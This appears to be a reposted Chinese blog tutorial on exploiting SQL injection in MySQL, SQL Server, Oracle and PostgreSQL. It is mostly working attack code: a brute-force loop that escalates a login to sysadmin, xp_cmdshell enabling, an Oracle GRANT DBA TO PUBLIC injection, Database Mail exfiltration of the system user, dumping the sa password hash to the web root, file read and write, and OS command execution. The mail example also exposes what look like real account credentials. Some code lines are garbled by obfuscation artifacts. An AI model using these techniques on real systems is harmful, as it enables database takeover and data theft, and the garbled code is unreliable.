利用sql注入

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用sql注入相关的知识,希望对你有一定的参考价值。

INSERT查询中实现注入攻击

1. 思路就是在含有insert语句的页面插入目标值信息。经常包含的是一个子查询。

2. 注意在insert过程中,左边的注入点和右边的注入点会有不同

3. 在mysql中数字的优先级会高于字符的优先级,在1+‘s‘结果只显示1

4. 利用此性质,配合ASCII函数可以获得大部分目标的值。

生成INSERT错误

1. 在insert语句的值中填写表不允许的数据,正好这个数据是我们需要的目标值,就可在错误报告中查看。

2. 通过错误的insert可以在不污染数据的情况下拿到目标信息

mysql> SELECT (SELECT username FROM userinfo WHERE username=‘illidan‘);

+----------------------------------------------------------+

| (SELECT username FROM userinfo WHERE username=‘illidan‘) |

+----------------------------------------------------------+

| illidan                                                  |

+----------------------------------------------------------+

1 row in set (0.00 sec)

mysql> SELECT (SELECT username FROM userinfo WHERE username=‘i‘);

+----------------------------------------------------+

| (SELECT username FROM userinfo WHERE username=‘i‘) |

+----------------------------------------------------+

| NULL                                               |

+----------------------------------------------------+

1 row in set (0.00 sec)

mysql> SELECT (SELECT username FROM userinfo WHERE );

ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that

corresponds to your MySQL server version for the right syntax to use near ‘)‘ at

line 1

3. mysql数据库中,如上的嵌套查询内部返回单值或者NULL都可以成功执行,但是返回多值将会报错。但是即使报错内部查询也会成功执行。利用这个原理可以通过insert做很多判断。

SELECT (SELECT CASE WHEN @@version=‘5.1.48-community‘ THEN SLEEP(5) ELSE ‘somevalue‘ END FROM ((SELECT ‘valuel‘ AS foobar) UNION (SELECT ‘value2‘ AS foobar)) ALIAS);

4. 利用REGEXP与select内返回多值查询来产生错误,根据条件不同,产生的错误不同。判断目标值,类似于基于错误的注入思想。

数据库提权

很多时候在使用一些高级功能继续渗透的时候会受到权限不够的阻碍,如带外通信,获取shell,创建修改权限等。特别是大型网站会对数据库用户权限做一个详细的划分。

sqlserver数据库提权

1.查看当前数据库验证模式,仅仅windows验证返回1,否则返回0,只有在返回0时才能远程提权。

select serverproperty(‘IsIntegratedSecurityOnly‘)

2.在sqlserver中使用OPENROWSET实现远程连接

SELECT * FROM OPENROWSET (‘MSDB‘,‘Network=DBMSSOCN;Addess=localhost:1433;uid=sa;pwd=198226198484‘,‘SELECT * FROM hacked‘)

3.可通过该方式来爆破密码,在当前连接不是sa账户的时候。爆破后对新用户进行提权,sp_addsrvrolemember ‘用户‘,‘用户组‘,该存储过程位于master数据库。

在暴力破解的时候,常常会伴随大量的请求,会在服务器日志留下大量的数据。Bobcat引用了别人一种更高级的方式。使用OOB带外通信,获取一张包含候选口令的表,在内部与密码进行比对。

5. 纯暴力破解2位密码方式。通过OPENROWSET();

流程:

1.声明变量

p:存放待比较密码 z:临时字符存储 s:待比较码表  a,b:两个密码所以两个循环因子对应两个循环 q:查询语句,为了在查询出错时不中止程序,用execresultse执行查询

2.程序过程

遍历a,b的值当密码正确时候 OPENROWSET会连同,并且将当前用户加入sysadmin组,提升权限。

declare @p nvarchar(99),@z nvarchar(10),@s nvarchar(99),@a int,@b int,@q nvarchar(4000);

set @a=1;set @b=1;

set @s=N‘abcdefghijklmnopqrstuvwxyz0123456789‘;

while @a<37 begin

while @b<37 begin set @p=N‘‘;-- 重置候选密码

set @z=substring(@s,@a,1);set @[email protected][email protected];

set @q=substring(@s,@b,1);set @[email protected][email protected];

set @q=N‘select 1 from OPENROWSET(‘‘DATABASE‘‘,‘‘Network=DBMSSOCN;Address=;uid=sa;pwd=‘[email protected]+N‘‘‘,‘‘SELECT 1;EXEC master.dbo.sp_addsrvrolemember ‘‘‘‘‘+system_user+N‘‘‘‘‘,‘‘‘‘sysadmin‘‘‘‘‘‘)‘;

exec master.dbo.xp_execresultset @q,N‘master‘;

set

set @b=1;set @[email protected]+1;end;

sqlserver上臭名昭著的  xp_cmdshell可直接执行DOS命令,相当于完全掌握了OS,

05以后的版本默认关闭。但是可以使用sp_configure开启它。2000中使用sp_addextendeproc开启。

exec sp_configure ‘show advanced options‘,1

RECONFIGURE

exec sp_configure ‘xp_cmdshell‘,1

RECONFIGURE

sqlserver用户管理

查看用户连接次数

select loginame,count(*) from sysprocesses group by loginame

创建新用户(第一种创建方式无法登陆)

sp_addlogin ‘lisa‘,‘198226198484‘

删除用户

sp_droplogin ‘as‘

为数据库test添加用户映射

use test

go

sp_adduser ‘as‘,‘as‘

sp_addrolemember ‘db_owner‘,‘c1‘

sqlsever登陆用户查询:

sys.sql_logins

MS-09-004漏洞

该漏洞主要影响sqlserver 2000和2005 版本,漏洞利用步骤:

1.使用fingerprint模式(-m fingerprint)检查xp_cmdshell是否可用,并且server.exe是否以system权限运行。

2.使用upload模式(-m upload)将vdmallowed.exe(option 5)和vdmexploit.dll(option 6)传送到远程服务器

3.使用command模式(-m command)运行"%TEMP%\\\\vdmallowed.exe sql"执行漏洞利用工具

2.ORACLE提升权限

1.在oracle中大多数权限提升的方法都要依靠PL/SQL块执行,一个特例是mod_plsql组件进行过滤, 通过xxx?parament=GRANT+DBA+TO+PUBLIC进行权限提升。

(1) 将一个有效载荷注入到一个易受攻击的存储过程中

CREATE OR REPLACE FUNCTION F1 RETURN NUMBER

AUTHID  current_user as pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE ‘GRANT DBA TO PUBLIC‘;

COMMIT;

RETURN 1;

END;

(2)注入一个易受攻击的包中

exec sys.kupw$WORKER.main(‘x‘,‘YY‘‘ and 1=user12.f1 -- mytag12‘);

(3)启用DBA

set role DBA;

(4)在公共角色中撤销DBA

revoke DBA from PUBLIC;

带外通信

无法使用正常http提取数据的时候,使用OOB获得数据。开辟新的思路。

Email

1. SQLsever

SQL mail--2000,2005,2008,

Database mail--2005,2008

database mail步骤:

1. 开启邮件服务

2. 创建邮件账户

3. 创建配置文件

4. 连接账户和配置文件

5. 发送邮件

6. --启用database mail

7. exec sp_configure ‘show advanced‘,1

8. RECONFIGURE

9. exec sp_configure ‘Database Mail XPS‘,1

10. RECONFIGURE

11. --create a new account ,MYACC.The SMTP server is provided in this call.

12. EXECUTE msdb.dbo.sysmail_add_account_sp

13. @account_name = ‘MYACC‘,

14. @description = ‘test for mail‘,

15. @email_address = ‘[email protected]‘,

16. @display_name = ‘SQL name‘,

17. @username=‘qian1.deng‘,

18. @password=‘19940402‘,

19. @mailserver_name = ‘mail.dhc.com.cn‘

20.

21. --create a new profile,MYPROFILE

22. exec msdb.dbo.sysmail_add_profile_sp @profile_name=‘MYPROFILE‘,@description=NULL,@profile_id=NULL

23. --Bind the account to the profile

24. EXEC msdb.dbo.sysmail_add_profileaccount_sp @profile_name=‘MYPROFILE‘,@account_name=‘MYACC‘,@sequence_number=1

25. --Retrieve login

26. DECLARE @b VARCHAR(8000);

27. SELECT @b=system_user;

28. EXEC msdb.dbo.sp_send_dbmail @profile_name=‘MYPROFILE‘,@recipients=‘[email protected]‘,@subject=‘system user‘,@[email protected];

sqlser发送邮件时的参数

sp_send_dbmail [ [ @profile_name = ] ‘profile_name’ ]配置文件名

[ , [ @recipients = ] ‘recipients [ ; …n ]’ ]接收人

[ , [ @copy_recipients = ] ‘copy_recipient [ ; …n ]’ ]抄送

[ , [ @blind_copy_recipients = ] ‘blind_copy_recipient [ ; …n ]’ ]

[ , [ @subject = ] ‘subject’ ]主题

[ , [ @body = ] ‘body’ ]主体

[ , [ @body_format = ] ‘body_format’ ]格式

[ , [ @importance = ] ‘importance’ ]重点

[ , [ @sensitivity = ] ‘sensitivity’ ]

[ , [ @file_attachments = ] ‘attachment [ ; …n ]’ ]

[ , [ @query = ] ‘query’ ]执行查询语句

[ , [ @execute_query_database = ] ‘execute_query_database’ ]

[ , [ @attach_query_result_as_file = ] attach_query_result_as_file ]

[ , [ @query_attachment_filename = ] query_attachment_filename ]

[ , [ @query_result_header = ] query_result_header ]

[ , [ @query_result_width = ] query_result_width ]

[ , [ @query_result_separator = ] ‘query_result_separator’ ]

[ , [ @exclude_query_output = ] exclude_query_output ]

[ , [ @append_query_error = ] append_query_error ]

[ , [ @query_no_truncate = ] query_no_truncate ]

[ , [ @mailitem_id = ] mailitem_id ] [ OUTPUT ]

文件系统

1. sqlserver

2. --创建需要变量

3. DECLARE @a int,@hash varchar(100),@fileid int ;

4. --提取sa的密码的hash值将之存入@hash变量

5. SELECT top 1 @hash=name+‘|‘+master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins;

6. --创建一个文件系统对象指向本地文件

7. EXEC sp_OACreate ‘Scripting.FileSystemObject‘,@a OUT;

8. EXEC sp_OAMethod @a,‘OpenTextFile‘,@fileid OUT,‘c:\\inetpub\\wwwroot\\hash.txt‘,8,1;

9. --将hash变量写入到文件中

10. EXEC sp_OAMethod @fileid,‘WriteLine‘,Null,@hash;

11. --析构两个变量

12. EXEC sp_OADestroy @fileid;

13. EXEC sp_OADestroy @a;

以上语句必须一起注入,针对有堆叠查询的注入点比较好。

总结:在SQLserver中,知道存储过程的返回值类型就可以创建相对应的表存储存储过程的结果。一个实际中常常遇到的问题就是当服务器web目录和数据库不在一个服务器上的时候,就算我们知道了服务器ip也没法操纵数据库。可以通过如下思路进行数据库信息的获取。

若盲注得到当前用户是sa或者管理员,则用如下命令开启xp_cmdshell

exec sp_configure ‘show advanced options‘,1

RECONFIGURE

exec sp_configure ‘xp_cmdshell‘,1

RECONFIGURE

拿到cmdshell后,就可以判断系统类型。

win下version可以获得当前系统环境变量和版本信息

linux下/etc/issue   /proc/version 都存放了系统版本数据

或者unmae -a查看内核版本

创建表和执行xp_cmdshell获取一切需要的数据。

create table tt(tt nvarchar(500));

insert into tt exec xp_cmdshell ‘ipconfig‘;

select * from tt;

2. mysql

1. 通过load data infile  ‘文件路径‘  into  table  fields terminated  by  ‘ ‘;

fields terminated  by指定通过什么符号截断每个字段;

2. 也可以直接通过LOAD_FILE函数读取文件到一张临时表

select LOAD_FILE(‘路径‘);

3. 若存在一个搜索页面,已经搜索列数。则可以通过union的方式直接读取文件系统数据显示在页面中。有以下几个前提,union select后列数,列名要保证和原查询一样。并且新增加的数据中不要带NULL,用count(*),增加列数量。

原sql语句:select * from userinformation where username like ‘%"+searchKey+"%‘

注入后sql语句:select * from userinformation where username like ‘%hs‘ union select LOAD_FILE(‘D:\\user.txt‘),count(*)-- w%‘

技术分享

这种方式需要有读取文件权限,若过滤了‘字符则用16进制代替。也可以使用mysql的HEX()函数来读取二进制文件。

LOAD_FILE()支持通用命令约定UNC

3. SQLserver

使用bulk inset ‘table‘ from ‘URI‘进行文件访问,提取到数据库一个表。

bulk insert userinfo from ‘d:\\user.txt‘ with (FIELDTERMINATOR=‘ ‘,ROWTERMINATOR=‘\\n‘)

前提是具有文件读取权限,FIELDTERMINATOR=‘ ‘代表每列截断字符。ROWTERMINATOR=‘\\n‘代表每行截断字符。

还可以设置CODEPAGE=‘RAW‘,上传二进制文件.exe。

还可以的参数:ACP,OEM,RAW,code_page指定该数据文件中数据的代码页,仅当数据含有字符值大于127或小于32的char,varchar,或text列时。

使用squeeza工具

sqlserver2005引入了公共语言运行时。CLR。支持C#,.NET,C++来实现数据库的可编程性。如下语句开启该功能。使用堆叠查询来注入此类语句。

exec sp_configure ‘show advanced options‘,1

RECONFIGURE

exec sp_configure ‘clr enabled‘,1

向数据库插入一个二进制文件,需要是一个CLR语言编写的exe。

create assembly sqd from ‘c:\\temp\\text.exe‘ with permission_set=unsafe--

如果是非CLR语言支持的需要先上传一个CLR的再通过附件文件的方式上传

alter assembly sqd add file from ‘URI‘

4. ORACLE

通过三个接口实现文件读取

utl_file_dir/Oracle

java

Oracle Text

create directory ext as ‘C:\\‘;

CREATE TABLE ext_tab(

ORGANIZATION EXTERNAL (TYPE oracle_loader

DEFAULT DIRECTORY extACCESS PARAMETERS(

RECORDS DELIMITED BY NEWLINE

BADFILE ‘bad_data.bad‘

LOGFILE ‘log_data.log‘

FIELDS TERMINATED BY ‘,‘

MISSING FIELD VALUES ARX NULL

REJECT ROWS WITH ALL NULL FIELDS

(line))

LOCATION (‘VICTIM.TXT‘)

)

PARALLEL

REJECT LIMIT 0

NOMONITORING;

SELECT * FROM ext_tab;

5. postgureSQL

1.利用copy命令实现文件读取

2.

create table temp(varchar(50));

copy temp from ‘D:/user.txt‘

select * from temp

通过如上代码读取文件。

写文件

1. mysql

通过mysql对文件系统写文件时,语法为select * into outfile ‘uri‘ from tablenames;

该操作要求mysql进程拥有者拥有对该文件的写权限,并且在查询插入的时候不能换行。不能重写已有的文件。对c盘创建文件不可见。

可以通过UNHEX对普通16进制转为二进制创建exe文件在系统中。

论文HackProofing MySQL描述了如何创建一个UDF来有效的实现MYSQL xp_cmdshell.

2. SQLserver

该方法只能替换文件中的值,在没有文件的时候可以创建文件。

declare @o int,@f int,@t int,@ret int; --声明变量,o用于创建输出,f用于创建文件,ret用于存放结果

declare @line varchar(8000);--每行的最大值

exec sp_oacreate ‘scripting.filesystemobject‘,@o out;--创建文件系统对象

exec sp_oamethod @o, ‘createtextfile‘, @f out,‘d:\\test.txt‘, 1--创建文件并将其作为文件系统对象

exec @ret=sp_oamethod @f,‘writeline‘,NULL,‘Hello word‘ --向文件中写入

也可以使用bcp通过数据源创建文件,也可以通过xp_cmdshell,使用linux语法输出重定向来达到写入文件的目的。

3. oracle

ORACLE主要有以下几个方式:

UTL_FILE

DBMS_ADVISOR

DBMS_XSLPROCESSOR

DBMS_XMLDOM

外部表

java

操作系统命令和重定向

技术分享

2.利用DBMS创建文件

create directory EXT as ‘c:\\‘;

exec SYS.DBMS_ADVISOR.CREATE_FILE(‘first row‘,‘EXT‘,‘victim.txt‘);

4. postgreSQL

copy不仅支持读取文件也支持写入文件:

copy(select * from pg_database) to ‘C:/text.txt‘;

上诉方式需要postgres需要读取文件权限。如果通过注入点操作文件系统都需要web服务器和数据库在一个服务器上。

执行操作系统命令

1.mysql

将批处理文件放在启动目录下。这是win7下开机启动目录。

WAMP环境,WIN  APACHE MYSQL php

C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\start.bat;

2.sqlserver

通过xp_cmdshell实现执行系统命令。

3.oracle

在oracle中主要问题在于如何获取DBA权限

通过java库执行操作系统命令

执行该查询判断用户执行java情况

select * from user_java_policy where grantee_name=‘SCOTT‘;

执行操作系统命令

SELECT DBMS_JAVA.RUNJAVA(‘oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd.exe/c‘ dir>C:\\\\OUT.LST) FROM DUAL

4.postgreSQL

调用UDF(用户自定义函数)执行OS命令。将UDF放在postgreSQL拥有读写权限的任意位置。一般linux是放在/tmp下,windows下放在c:\\windows\\temp目录下。

通过sqlmap获取shell。

以上是关于利用sql注入的主要内容,如果未能解决你的问题,请参考以下文章

sql注入攻击的原理

利用SQL注入为Oracle数据库账户提权

如何利用sql注入进行爆库

如何利用SQL注入进行爆库

如何利用SQL注入进行爆库

SQL注入漏洞篇